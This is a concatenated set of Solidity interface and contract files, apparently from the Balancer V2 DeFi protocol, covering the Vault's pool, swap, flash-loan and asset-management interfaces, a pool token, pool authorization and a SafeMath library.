/**
* @dev Registers `tokens` for the `poolId` Pool. Must be called by the Pool's contract.
*
* Pools can only interact with tokens they have registered. Users join a Pool by transferring registered tokens,
* exit by receiving registered tokens, and can only swap registered tokens.
*
* Each token can only be registered once. For Pools with the Two Token specialization, `tokens` must have a length
* of two, that is, both tokens must be registered in the same `registerTokens` call, and they must be sorted in
* ascending order.
*
* The `tokens` and `assetManagers` arrays must have the same length, and each entry in these indicates the Asset
* Manager for the corresponding token. Asset Managers can manage a Pool's tokens via `managePoolBalance`,
* depositing and withdrawing them directly, and can even set their balance to arbitrary amounts. They are therefore
* expected to be highly secured smart contracts with sound design principles, and the decision to register an
* Asset Manager should not be made lightly.
*
* Pools can choose not to assign an Asset Manager to a given token by passing in the zero address. Once an Asset
* Manager is set, it cannot be changed except by deregistering the associated token and registering again with a
* different Asset Manager.
*
* Emits a `TokensRegistered` event.
*/
function registerTokens(
bytes32 poolId,
IERC20[] memory tokens,
address[] memory assetManagers
) external;
/**
* @dev Emitted when a Pool registers tokens by calling `registerTokens`.
*/
event TokensRegistered(bytes32 indexed poolId, IERC20[] tokens, address[] assetManagers);
/**
* @dev Deregisters `tokens` for the `poolId` Pool. Must be called by the Pool's contract.
*
* Only registered tokens (via `registerTokens`) can be deregistered. Additionally, they must have zero total
* balance. For Pools with the Two Token specialization, `tokens` must have a length of two, that is, both tokens
* must be deregistered in the same `deregisterTokens` call.
*
* A deregistered token can be re-registered later on, possibly with a different Asset Manager.
*
* Emits a `TokensDeregistered` event.
*/
function deregisterTokens(bytes32 poolId, IERC20[] memory tokens) external;
/**
* @dev Emitted when a Pool deregisters tokens by calling `deregisterTokens`.
*/
event TokensDeregistered(bytes32 indexed poolId, IERC20[] tokens);
/**
* @dev Returns detailed information for a Pool's registered token.
*
* `cash` is the number of tokens the Vault currently holds for the Pool. `managed` is the number of tokens
* withdrawn and held outside the Vault by the Pool's token Asset Manager. The Pool's total balance for `token`
* equals the sum of `cash` and `managed`.
*
* Internally, `cash` and `managed` are stored using 112 bits. No action can ever cause a Pool's token `cash`,
* `managed` or `total` balance to be greater than 2^112 - 1.
*
* `lastChangeBlock` is the number of the block in which `token`'s total balance was last modified (via either a
* join, exit, swap, or Asset Manager update). This value is useful to avoid so-called 'sandwich attacks', for
* example when developing price oracles. A change of zero (e.g. caused by a swap with amount zero) is considered a
* change for this purpose, and will update `lastChangeBlock`.
*
* `assetManager` is the Pool's token Asset Manager.
*/
function getPoolTokenInfo(bytes32 poolId, IERC20 token)
external
view
returns (
uint256 cash,
uint256 managed,
uint256 lastChangeBlock,
address assetManager
);
/**
* @dev Returns a Pool's registered tokens, the total balance for each, and the latest block when *any* of
* the tokens' `balances` changed.
*
* The order of the `tokens` array is the same order that will be used in `joinPool`, `exitPool`, as well as in all
* Pool hooks (where applicable). Calls to `registerTokens` and `deregisterTokens` may change this order.
*
* If a Pool only registers tokens once, and these are sorted in ascending order, they will be stored in the same
* order as passed to `registerTokens`.
*
* Total balances include both tokens held by the Vault and those withdrawn by the Pool's Asset Managers. These are
* the amounts used by joins, exits and swaps. For a detailed breakdown of token balances, use `getPoolTokenInfo`
* instead.
*/
function getPoolTokens(bytes32 poolId)
external
view
returns (
IERC20[] memory tokens,
uint256[] memory balances,
uint256 lastChangeBlock
);
/**
* @dev Called by users to join a Pool, which transfers tokens from `sender` into the Pool's balance. This will
* trigger custom Pool behavior, which will typically grant something in return to `recipient` - often tokenized
* Pool shares.
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* The `assets` and `maxAmountsIn` arrays must have the same length, and each entry indicates the maximum amount
* to send for each asset. The amounts to send are decided by the Pool and not the Vault: it just enforces
* these maximums.
*
* If joining a Pool that holds WETH, it is possible to send ETH directly: the Vault will do the wrapping. To enable
* this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead of the
* WETH address. Note that it is not possible to combine ETH and WETH in the same join. Any excess ETH will be sent
* back to the caller (not the sender, which is important for relayers).
*
* `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when
* interacting with Pools that register and deregister tokens frequently. If sending ETH however, the array must be
* sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the final
* `assets` array might not be sorted. Pools with no registered tokens cannot be joined.
*
* If `fromInternalBalance` is true, the caller's Internal Balance will be preferred: ERC20 transfers will only
* be made for the difference between the requested amount and Internal Balance (if any). Note that ETH cannot be
* withdrawn from Internal Balance: attempting to do so will trigger a revert.
*
* This causes the Vault to call the `IBasePool.onJoinPool` hook on the Pool's contract, where Pools implement
* their own custom logic. This typically requires additional information from the user (such as the expected number
* of Pool shares). This can be encoded in the `userData` argument, which is ignored by the Vault and passed
* directly to the Pool's contract, as is `recipient`.
*
* Emits a `PoolBalanceChanged` event.
*/
function joinPool(
bytes32 poolId,
address sender,
address recipient,
JoinPoolRequest memory request
) external payable;
struct JoinPoolRequest {
IAsset[] assets;
uint256[] maxAmountsIn;
bytes userData;
bool fromInternalBalance;
}
/**
* @dev Called by users to exit a Pool, which transfers tokens from the Pool's balance to `recipient`. This will
* trigger custom Pool behavior, which will typically ask for something in return from `sender` - often tokenized
* Pool shares. The amount of tokens that can be withdrawn is limited by the Pool's `cash` balance (see
* `getPoolTokenInfo`).
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* The `tokens` and `minAmountsOut` arrays must have the same length, and each entry in these indicates the minimum
* token amount to receive for each token contract. The amounts to send are decided by the Pool and not the Vault:
* it just enforces these minimums.
*
* If exiting a Pool that holds WETH, it is possible to receive ETH directly: the Vault will do the unwrapping. To
* enable this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead
* of the WETH address. Note that it is not possible to combine ETH and WETH in the same exit.
*
* `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when
* interacting with Pools that register and deregister tokens frequently. If receiving ETH however, the array must
* be sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the
* final `assets` array might not be sorted. Pools with no registered tokens cannot be exited.
*
* If `toInternalBalance` is true, the tokens will be deposited to `recipient`'s Internal Balance. Otherwise,
* an ERC20 transfer will be performed. Note that ETH cannot be deposited to Internal Balance: attempting to
* do so will trigger a revert.
*
* `minAmountsOut` is the minimum amount of tokens the user expects to get out of the Pool, for each token in the
* `tokens` array. This array must match the Pool's registered tokens.
*
* This causes the Vault to call the `IBasePool.onExitPool` hook on the Pool's contract, where Pools implement
* their own custom logic. This typically requires additional information from the user (such as the expected number
* of Pool shares to return). This can be encoded in the `userData` argument, which is ignored by the Vault and
* passed directly to the Pool's contract.
*
* Emits a `PoolBalanceChanged` event.
*/
function exitPool(
bytes32 poolId,
address sender,
address payable recipient,
ExitPoolRequest memory request
) external;
struct ExitPoolRequest {
IAsset[] assets;
uint256[] minAmountsOut;
bytes userData;
bool toInternalBalance;
}
/**
* @dev Emitted when a user joins or exits a Pool by calling `joinPool` or `exitPool`, respectively.
*/
event PoolBalanceChanged(
bytes32 indexed poolId,
address indexed liquidityProvider,
IERC20[] tokens,
int256[] deltas,
uint256[] protocolFeeAmounts
);
enum PoolBalanceChangeKind { JOIN, EXIT }
// Swaps
//
// Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. To do this,
// they need not trust Pool contracts in any way: all security checks are made by the Vault. They must however be
// aware of the Pools' pricing algorithms in order to estimate the prices Pools will quote.
//
// The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence.
// In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'),
// and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out').
// More complex swaps, such as one token in to multiple tokens out can be achieved by batching together
// individual swaps.
//
// There are two swap kinds:
// - 'given in' swaps, where the amount of tokens in (sent to the Pool) is known, and the Pool determines (via the
// `onSwap` hook) the amount of tokens out (to send to the recipient).
// - 'given out' swaps, where the amount of tokens out (received from the Pool) is known, and the Pool determines
// (via the `onSwap` hook) the amount of tokens in (to receive from the sender).
//
// Additionally, it is possible to chain swaps using a placeholder input amount, which the Vault replaces with
// the calculated output of the previous swap. If the previous swap was 'given in', this will be the calculated
// tokenOut amount. If the previous swap was 'given out', it will use the calculated tokenIn amount. These extended
// swaps are known as 'multihop' swaps, since they 'hop' through a number of intermediate tokens before arriving at
// the final intended token.
//
// In all cases, tokens are only transferred in and out of the Vault (or withdrawn from and deposited into Internal
// Balance) after all individual swaps have been completed, and the net token balance change computed. This makes
// certain swap patterns, such as multihops, or swaps that interact with the same token pair in multiple Pools, cost
// much less gas than they would otherwise.
//
// It also means that under certain conditions it is possible to perform arbitrage by swapping with multiple
// Pools in a way that results in net token movement out of the Vault (profit), with no tokens being sent in (only
// updating the Pool's internal accounting).
//
// To protect users from front-running or the market changing rapidly, they supply a list of 'limits' for each token
// involved in the swap, where either the maximum number of tokens to send (by passing a positive value) or the
// minimum amount of tokens to receive (by passing a negative value) is specified.
//
// Additionally, a 'deadline' timestamp can also be provided, forcing the swap to fail if it occurs after
// this point in time (e.g. if the transaction failed to be included in a block promptly).
//
// If interacting with Pools that hold WETH, it is possible to both send and receive ETH directly: the Vault will do
// the wrapping and unwrapping. To enable this mechanism, the IAsset sentinel value (the zero address) must be
// passed in the `assets` array instead of the WETH address. Note that it is possible to combine ETH and WETH in the
// same swap. Any excess ETH will be sent back to the caller (not the sender, which is relevant for relayers).
//
// Finally, Internal Balance can be used when either sending or receiving tokens.
enum SwapKind { GIVEN_IN, GIVEN_OUT }
/**
* @dev Performs a swap with a single Pool.
*
* If the swap is 'given in' (the number of tokens to send to the Pool is known), it returns the amount of tokens
* taken from the Pool, which must be greater than or equal to `limit`.
*
* If the swap is 'given out' (the number of tokens to take from the Pool is known), it returns the amount of tokens
* sent to the Pool, which must be less than or equal to `limit`.
*
* Internal Balance usage and the recipient are determined by the `funds` struct.
*
* Emits a `Swap` event.
*/
function swap(
SingleSwap memory singleSwap,
FundManagement memory funds,
uint256 limit,
uint256 deadline
) external payable returns (uint256);
/**
* @dev Data for a single swap executed by `swap`. `amount` is either `amountIn` or `amountOut` depending on
* the `kind` value.
*
* `assetIn` and `assetOut` are either token addresses, or the IAsset sentinel value for ETH (the zero address).
* Note that Pools never interact with ETH directly: it will be wrapped to or unwrapped from WETH by the Vault.
*
* The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be
* used to extend swap behavior.
*/
struct SingleSwap {
bytes32 poolId;
SwapKind kind;
IAsset assetIn;
IAsset assetOut;
uint256 amount;
bytes userData;
}
/**
* @dev Performs a series of swaps with one or multiple Pools. In each individual swap, the caller determines either
* the amount of tokens sent to or received from the Pool, depending on the `kind` value.
*
* Returns an array with the net Vault asset balance deltas. Positive amounts represent tokens (or ETH) sent to the
* Vault, and negative amounts represent tokens (or ETH) sent by the Vault. Each delta corresponds to the asset at
* the same index in the `assets` array.
*
* Swaps are executed sequentially, in the order specified by the `swaps` array. Each array element describes a
* Pool, the token to be sent to this Pool, the token to receive from it, and an amount that is either `amountIn` or
* `amountOut` depending on the swap kind.
*
* Multihop swaps can be executed by passing an `amount` value of zero for a swap. This will cause the amount in/out
* of the previous swap to be used as the amount in for the current one. In a 'given in' swap, 'tokenIn' must equal
* the previous swap's `tokenOut`. For a 'given out' swap, `tokenOut` must equal the previous swap's `tokenIn`.
*
* The `assets` array contains the addresses of all assets involved in the swaps. These are either token addresses,
* or the IAsset sentinel value for ETH (the zero address). Each entry in the `swaps` array specifies tokens in and
* out by referencing an index in `assets`. Note that Pools never interact with ETH directly: it will be wrapped to
* or unwrapped from WETH by the Vault.
*
* Internal Balance usage, sender, and recipient are determined by the `funds` struct. The `limits` array specifies
* the minimum or maximum amount of each token the vault is allowed to transfer.
*
* `batchSwap` can be used to make a single swap, like `swap` does, but doing so requires more gas than the
* equivalent `swap` call.
*
* Emits `Swap` events.
*/
function batchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds,
int256[] memory limits,
uint256 deadline
) external payable returns (int256[] memory);
/**
* @dev Data for each individual swap executed by `batchSwap`. The asset in and out fields are indexes into the
* `assets` array passed to that function, and ETH assets are converted to WETH.
*
* If `amount` is zero, the multihop mechanism is used to determine the actual amount based on the amount in/out
* from the previous swap, depending on the swap kind.
*
* The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be
* used to extend swap behavior.
*/
struct BatchSwapStep {
bytes32 poolId;
uint256 assetInIndex;
uint256 assetOutIndex;
uint256 amount;
bytes userData;
}
/**
* @dev Emitted for each individual swap performed by `swap` or `batchSwap`.
*/
event Swap(
bytes32 indexed poolId,
IERC20 indexed tokenIn,
IERC20 indexed tokenOut,
uint256 amountIn,
uint256 amountOut
);
/**
* @dev All tokens in a swap are either sent from the `sender` account to the Vault, or from the Vault to the
* `recipient` account.
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* If `fromInternalBalance` is true, the `sender`'s Internal Balance will be preferred, performing an ERC20
* transfer for the difference between the requested amount and the User's Internal Balance (if any). The `sender`
* must have allowed the Vault to use their tokens via `IERC20.approve()`. This matches the behavior of
* `joinPool`.
*
* If `toInternalBalance` is true, tokens will be deposited to `recipient`'s internal balance instead of
* transferred. This matches the behavior of `exitPool`.
*
* Note that ETH cannot be deposited to or withdrawn from Internal Balance: attempting to do so will trigger a
* revert.
*/
struct FundManagement {
address sender;
bool fromInternalBalance;
address payable recipient;
bool toInternalBalance;
}
/**
* @dev Simulates a call to `batchSwap`, returning an array of Vault asset deltas. Calls to `swap` cannot be
* simulated directly, but an equivalent `batchSwap` call can and will yield the exact same result.
*
* Each element in the array corresponds to the asset at the same index, and indicates the number of tokens (or ETH)
* the Vault would take from the sender (if positive) or send to the recipient (if negative). The arguments it
* receives are the same that an equivalent `batchSwap` call would receive.
*
* Unlike `batchSwap`, this function performs no checks on the sender or recipient field in the `funds` struct.
* This makes it suitable to be called by off-chain applications via eth_call without needing to hold tokens,
* approve them for the Vault, or even know a user's address.
*
* Note that this function is not 'view' (due to implementation details): the client code must explicitly execute
* eth_call instead of eth_sendTransaction.
*/
function queryBatchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds
) external returns (int256[] memory assetDeltas);
// Flash Loans
/**
* @dev Performs a 'flash loan', sending tokens to `recipient`, executing the `receiveFlashLoan` hook on it,
* and then reverting unless the tokens plus a proportional protocol fee have been returned.
*
* The `tokens` and `amounts` arrays must have the same length, and each entry in these indicates the loan amount
* for each token contract. `tokens` must be sorted in ascending order.
*
* The 'userData' field is ignored by the Vault, and forwarded as-is to `recipient` as part of the
* `receiveFlashLoan` call.
*
* Emits `FlashLoan` events.
*/
function flashLoan(
IFlashLoanRecipient recipient,
IERC20[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
/**
* @dev Emitted for each individual flash loan performed by `flashLoan`.
*/
event FlashLoan(IFlashLoanRecipient indexed recipient, IERC20 indexed token, uint256 amount, uint256 feeAmount);
// Asset Management
//
// Each token registered for a Pool can be assigned an Asset Manager, which is able to freely withdraw the Pool's
// tokens from the Vault, deposit them, or assign arbitrary values to its `managed` balance (see
// `getPoolTokenInfo`). This makes them extremely powerful and dangerous. Even if an Asset Manager only directly
// controls one of the tokens in a Pool, a malicious manager could set that token's balance to manipulate the
// prices of the other tokens, and then drain the Pool with swaps. The risk of using Asset Managers is therefore
// not constrained to the tokens they are managing, but extends to the entire Pool's holdings.
//
// However, a properly designed Asset Manager smart contract can be safely used for the Pool's benefit,
// for example by lending unused tokens out for interest, or using them to participate in voting protocols.
//
// This concept is unrelated to the IAsset interface.
/**
* @dev Performs a set of Pool balance operations, which may be either withdrawals, deposits or updates.
*
* Pool Balance management features batching, which means a single contract call can be used to perform multiple
* operations of different kinds, with different Pools and tokens, at once.
*
* For each operation, the caller must be registered as the Asset Manager for `token` in `poolId`.
*/
function managePoolBalance(PoolBalanceOp[] memory ops) external;
struct PoolBalanceOp {
PoolBalanceOpKind kind;
bytes32 poolId;
IERC20 token;
uint256 amount;
}
/**
* Withdrawals decrease the Pool's cash, but increase its managed balance, leaving the total balance unchanged.
*
* Deposits increase the Pool's cash, but decrease its managed balance, leaving the total balance unchanged.
*
* Updates don't affect the Pool's cash balance, but because the managed balance changes, it does alter the total.
* The external amount can be either increased or decreased by this call (i.e., reporting a gain or a loss).
*/
enum PoolBalanceOpKind { WITHDRAW, DEPOSIT, UPDATE }
/**
* @dev Emitted when a Pool's token Asset Manager alters its balance via `managePoolBalance`.
*/
event PoolBalanceManaged(
bytes32 indexed poolId,
address indexed assetManager,
IERC20 indexed token,
int256 cashDelta,
int256 managedDelta
);
// Protocol Fees
//
// Some operations cause the Vault to collect tokens in the form of protocol fees, which can then be withdrawn by
// permissioned accounts.
//
// There are two kinds of protocol fees:
//
// - flash loan fees: charged on all flash loans, as a percentage of the amounts lent.
//
// - swap fees: a percentage of the fees charged by Pools when performing swaps. For a number of reasons, including
// swap gas costs and interface simplicity, protocol swap fees are not charged on each individual swap. Rather,
// Pools are expected to keep track of how much they have charged in swap fees, and pay any outstanding debts to the
// Vault when they are joined or exited. This prevents users from joining a Pool with unpaid debt, as well as
// exiting a Pool in debt without first paying their share.
/**
* @dev Returns the current protocol fee module.
*/
function getProtocolFeesCollector() external view returns (IProtocolFeesCollector);
/**
* @dev Safety mechanism to pause most Vault operations in the event of an emergency - typically detection of an
* error in some part of the system.
*
* The Vault can only be paused during an initial time period, after which pausing is forever disabled.
*
* While the contract is paused, the following features are disabled:
* - depositing and transferring internal balance
* - transferring external balance (using the Vault's allowance)
* - swaps
* - joining Pools
* - Asset Manager interactions
*
* Internal Balance can still be withdrawn, and Pools exited.
*/
function setPaused(bool paused) external;
/**
* @dev Returns the Vault's WETH instance.
*/
function WETH() external view returns (IWETH);
// solhint-disable-previous-line func-name-mixedcase
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./IVault.sol";
import "./IPoolSwapStructs.sol";
/**
* @dev Interface for adding and removing liquidity that all Pool contracts should implement. Note that this is not
* the complete Pool contract interface, as it is missing the swap hooks. Pool contracts should also inherit from
* either IGeneralPool or IMinimalSwapInfoPool
*/
interface IBasePool is IPoolSwapStructs {
/**
* @dev Called by the Vault when a user calls `IVault.joinPool` to add liquidity to this Pool. Returns how many of
* each registered token the user should provide, as well as the amount of protocol fees the Pool owes to the Vault.
* The Vault will then take tokens from `sender` and add them to the Pool's balances, as well as collect
* the reported amount in protocol fees, which the pool should calculate based on `protocolSwapFeePercentage`.
*
* Protocol fees are reported and charged on join events so that the Pool is free of debt whenever new users join.
*
* `sender` is the account performing the join (from which tokens will be withdrawn), and `recipient` is the account
* designated to receive any benefits (typically pool shares). `currentBalances` contains the total balances
* for each token the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return.
*
* `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total
* balance.
*
* `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of
* join (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.)
*
* Contracts implementing this function should check that the caller is indeed the Vault before performing any
* state-changing operations, such as minting pool shares.
*/
function onJoinPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts);
/**
* @dev Called by the Vault when a user calls `IVault.exitPool` to remove liquidity from this Pool. Returns how many
* tokens the Vault should deduct from the Pool's balances, as well as the amount of protocol fees the Pool owes
* to the Vault. The Vault will then take tokens from the Pool's balances and send them to `recipient`,
* as well as collect the reported amount in protocol fees, which the Pool should calculate based on
* `protocolSwapFeePercentage`.
*
* Protocol fees are charged on exit events to guarantee that users exiting the Pool have paid their share.
*
* `sender` is the account performing the exit (typically the pool shareholder), and `recipient` is the account
* to which the Vault will send the proceeds. `currentBalances` contains the total token balances for each token
* the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return.
*
* `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total
* balance.
*
* `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of
* exit (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.)
*
* Contracts implementing this function should check that the caller is indeed the Vault before performing any
* state-changing operations, such as burning pool shares.
*/
function onExitPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts);
function getPoolId() external view returns (bytes32);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ERC20.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ERC20Permit.sol";
/**
* @title Highly opinionated token implementation
* @author Balancer Labs
* @dev
* - Includes functions to increase and decrease allowance as a workaround
* for the well-known issue with `approve`:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* - Allows for 'infinite allowance', where an allowance of 0xff..ff is not
* decreased by calls to transferFrom
* - Lets a token holder use `transferFrom` to send their own tokens,
* without first setting allowance
* - Emits 'Approval' events whenever allowance is changed by `transferFrom`
*/
contract BalancerPoolToken is ERC20, ERC20Permit {
constructor(string memory tokenName, string memory tokenSymbol)
ERC20(tokenName, tokenSymbol)
ERC20Permit(tokenName)
{
// solhint-disable-previous-line no-empty-blocks
}
// Overrides
/**
* @dev Override to allow for 'infinite allowance' and let the token owner use `transferFrom` with no self-allowance
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
uint256 currentAllowance = allowance(sender, msg.sender);
_require(msg.sender == sender || currentAllowance >= amount, Errors.ERC20_TRANSFER_EXCEEDS_ALLOWANCE);
_transfer(sender, recipient, amount);
if (msg.sender != sender && currentAllowance != uint256(-1)) {
// Because of the previous require, we know that if msg.sender != sender then currentAllowance >= amount
_approve(sender, msg.sender, currentAllowance - amount);
}
return true;
}
/**
* @dev Override to allow decreasing allowance by more than the current amount (setting it to zero)
*/
function decreaseAllowance(address spender, uint256 amount) public override returns (bool) {
uint256 currentAllowance = allowance(msg.sender, spender);
if (amount >= currentAllowance) {
_approve(msg.sender, spender, 0);
} else {
// No risk of underflow due to if condition
_approve(msg.sender, spender, currentAllowance - amount);
}
return true;
}
// Internal functions
function _mintPoolTokens(address recipient, uint256 amount) internal {
_mint(recipient, amount);
}
function _burnPoolTokens(address sender, uint256 amount) internal {
_burn(sender, amount);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "@balancer-labs/v2-solidity-utils/contracts/helpers/Authentication.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IAuthorizer.sol";
import "./BasePool.sol";
/**
* @dev Base authorization layer implementation for Pools.
*
* The owner account can call some of the permissioned functions - access control of the rest is delegated to the
* Authorizer. Note that this owner is immutable: more sophisticated permission schemes, such as multiple ownership,
* granular roles, etc., could be built on top of this by making the owner a smart contract.
*
* Access control of all other permissioned functions is delegated to an Authorizer. It is also possible to delegate
* control of *all* permissioned functions to the Authorizer by setting the owner address to `_DELEGATE_OWNER`.
*/
abstract contract BasePoolAuthorization is Authentication {
address private immutable _owner;
address private constant _DELEGATE_OWNER = 0xBA1BA1ba1BA1bA1bA1Ba1BA1ba1BA1bA1ba1ba1B;
constructor(address owner) {
_owner = owner;
}
function getOwner() public view returns (address) {
return _owner;
}
function getAuthorizer() external view returns (IAuthorizer) {
return _getAuthorizer();
}
function _canPerform(bytes32 actionId, address account) internal view override returns (bool) {
if ((getOwner() != _DELEGATE_OWNER) && _isOwnerOnlyAction(actionId)) {
// Only the owner can perform "owner only" actions, unless the owner is delegated.
return msg.sender == getOwner();
} else {
// Non-owner actions are always processed via the Authorizer, as "owner only" ones are when delegated.
return _getAuthorizer().canPerform(actionId, account, address(this));
}
}
function _isOwnerOnlyAction(bytes32 actionId) internal view virtual returns (bool);
function _getAuthorizer() internal view virtual returns (IAuthorizer);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
interface IAssetManager {
/**
* @notice Emitted when asset manager is rebalanced
*/
event Rebalance(bytes32 poolId);
/**
* @notice Sets the config
*/
function setConfig(bytes32 poolId, bytes calldata config) external;
/**
* @notice Returns the asset manager's token
*/
function getToken() external view returns (IERC20);
/**
* @return the current assets under management of this asset manager
*/
function getAUM(bytes32 poolId) external view returns (uint256);
/**
* @return poolCash - The up-to-date cash balance of the pool
* @return poolManaged - The up-to-date managed balance of the pool
*/
function getPoolBalances(bytes32 poolId) external view returns (uint256 poolCash, uint256 poolManaged);
/**
* @return The difference in tokens between the target investment
* and the currently invested amount (i.e. the amount that can be invested)
*/
function maxInvestableBalance(bytes32 poolId) external view returns (int256);
/**
* @notice Updates the Vault on the value of the pool's investment returns
*/
function updateBalanceOfPool(bytes32 poolId) external;
/**
* @notice Determines whether the pool should rebalance given the provided balances
*/
function shouldRebalance(uint256 cash, uint256 managed) external view returns (bool);
/**
* @notice Rebalances funds between the pool and the asset manager to maintain target investment percentage.
* @param poolId - the poolId of the pool to be rebalanced
* @param force - a boolean representing whether a rebalance should be forced even when the pool is near balance
*/
function rebalance(bytes32 poolId, bool force) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev Interface for the TemporarilyPausable helper.
*/
interface ITemporarilyPausable {
/**
* @dev Emitted every time the pause state changes by `_setPaused`.
*/
event PausedStateChanged(bool paused);
/**
* @dev Returns the current paused state.
*/
function getPausedState()
external
view
returns (
bool paused,
uint256 pauseWindowEndTime,
uint256 bufferPeriodEndTime
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, Errors.SUB_OVERFLOW);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, uint256 errorCode) internal pure returns (uint256) {
_require(b <= a, errorCode);
uint256 c = a - b;
return c;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
